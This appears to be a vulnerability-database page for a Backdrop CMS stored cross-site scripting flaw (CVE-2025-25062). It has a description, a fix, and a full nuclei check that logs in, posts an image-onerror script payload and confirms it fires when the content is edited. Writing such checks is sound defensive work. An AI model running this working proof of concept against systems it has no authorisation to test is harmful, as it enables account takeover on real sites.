HexBrain

Browse / CVEs / CVE-2025-25062

CVE-2025-25062· CWE-79

Backdrop CMS - Cross-Site Scripting

mediumseverity
4.4CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it

An XSS issue was discovered in Backdrop CMS 1.28.x before 1.28.5 and 1.29.x before 1.29.3. It doesn't sufficiently isolate long text content when the CKEditor 5 rich text editor is used. This allows a potential attacker to craft specialized HTML and JavaScript that may be executed when an administrator attempts to edit a piece of content. This vulnerability is mitigated by the fact that an attacker must have the ability to create long text content (such as through the node or comment forms) and an administrator must edit (not view) the content that contains the malicious content. This problem only exists when using the CKEditor 5 module.

Impact

Authenticated attackers with content creation permissions can craft malicious HTML and JavaScript in long text fields that executes when administrators edit the content through CKEditor 5, potentially stealing admin session cookies, credentials, or escalating privileges.

Fix

Update Backdrop CMS to version 1.28.5 or 1.29.3 or later that properly isolates long text content in CKEditor 5.

How to confirm it

Send: GET /?q=user/login ; POST /?q=user/login ; GET /?q=accounts/{{username}} ; GET /?q=user/{{editor_user_id}}/edit ; GET /?q=node/add/post
Positive when: reflected_text_xss == true and reflected_text_xss_message == random_int

Run it with nuclei: nuclei -id CVE-2025-25062 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-25062

info:
  name: Backdrop CMS - Cross-Site Scripting
  author: soonghee2
  severity: medium
  description: |
    An XSS issue was discovered in Backdrop CMS 1.28.x before 1.28.5 and 1.29.x before 1.29.3. It doesn't sufficiently isolate long text content when the CKEditor 5 rich text editor is used. This allows a potential attacker to craft specialized HTML and JavaScript that may be executed when an administrator attempts to edit a piece of content. This vulnerability is mitigated by the fact that an attacker must have the ability to create long text content (such as through the node or comment forms) and an administrator must edit (not view) the content that contains the malicious content. This problem only exists when using the CKEditor 5 module.
  impact: |
    Authenticated attackers with content creation permissions can craft malicious HTML and JavaScript in long text fields that executes when administrators edit the content through CKEditor 5, potentially stealing admin session cookies, credentials, or escalating privileges.
  remediation: |
    Update Backdrop CMS to version 1.28.5 or 1.29.3 or later that properly isolates long text content in CKEditor 5.
  reference:
    - https://github.com/XiaomingX/data-cve-poc/tree/main/2025/CVE-2025-25062
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25062
    - https://www.tenable.com/cve/CVE-2025-25062/cpes
    - https://feedly.com/cve/CVE-2025-25062
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.4
    cve-id: CVE-2025-25062
    cwe-id: CWE-79
    epss-score: 0.01736
    epss-percentile: 0.77874
    cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 7
    shodan-query: "Backdrop CMS"
  tags: cve,cve2025,xss,stored,backdrop,headless,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  random_int: '{{rand_int(1,1000)}}'

http:
  - raw:
      - |
        GET /?q=user/login HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /?q=user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        name={{username}}&pass={{password}}&form_build_id={{editor_login_form_build_id}}&form_id=user_login&op=Log+in

      - |
        GET /?q=accounts/{{username}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?q=user/{{editor_user_id}}/edit HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?q=node/add/post HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /?q=node/add/post HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=1f0d9f4b7e62edd3393c1761177bd48a

        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="title"

        {{randstr}}
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="field_tags[und]"


        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="body[und][0][summary]"


        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="body[und][0][value]"

        <img src="x" onerror="alert('{{random_int}}')">
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="body[und][0][format]"

        filtered_html
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="files[field_image_und_0]"; filename=""
        Content-Type: application/octet-stream


        -1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="field_image[und][0][fid]"

        0
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="field_image[und][0][display]"

        1
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="changed"


        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="form_build_id"

        {{editor_login_form_build_id}}
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="form_token"

        {{post_form_token}}
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="form_id"

        post_node_form
        --1f0d9f4b7e62edd3393c1761177bd48a

    extractors:
      - type: regex
        name: editor_login_form_build_id
        group: 1
        regex:
          - 'name="form_build_id" value="([^"]+)"'
        internal: true

      - type: regex
        name: editor_user_id
        group: 1
        regex:
          - 'q=user/(\d+)/edit">Edit</a>'
        internal: true

      - type: regex
        name: editor_email
        group: 1
        regex:
          - 'name="mail" value="([^"]+)"'
        internal: true

      - type: regex
        name: post_form_build_id
        group: 1
        regex:
          - 'name="form_build_id" value="([^"]+)"'
        internal: true

      - type: regex
        name: post_form_token
        group: 1
        regex:
          - 'name="form_token" value="([^"]+)"'
        internal: true

      - type: regex
        name: exploit_node_id
        group: 1
        regex:
          - '<a href="/node/(\d+)/edit">Edit</a>'
        internal: true

headless:
  - steps:
      - args:
          url: "{{BaseURL}}/?q=posts/{{randstr}}"
        action: navigate

      - action: waitload

      - action: waitdom

      - action:
        args:
          code: |
            () => { document.querySelector('a[href*="q=node/"][href*="/edit"]').click(); }

      - action: waitdialog
        name: reflected_text_xss
        args:
          max-duration: 10s

    matchers:
      - type: dsl
        dsl:
          - reflected_text_xss == true
          - reflected_text_xss_message == random_int
        condition: and

    extractors:
      - type: dsl
        dsl:
          - reflected_text_xss_type
          - reflected_text_xss_message

References

Use this check only on systems you are authorised to test. Where the data comes from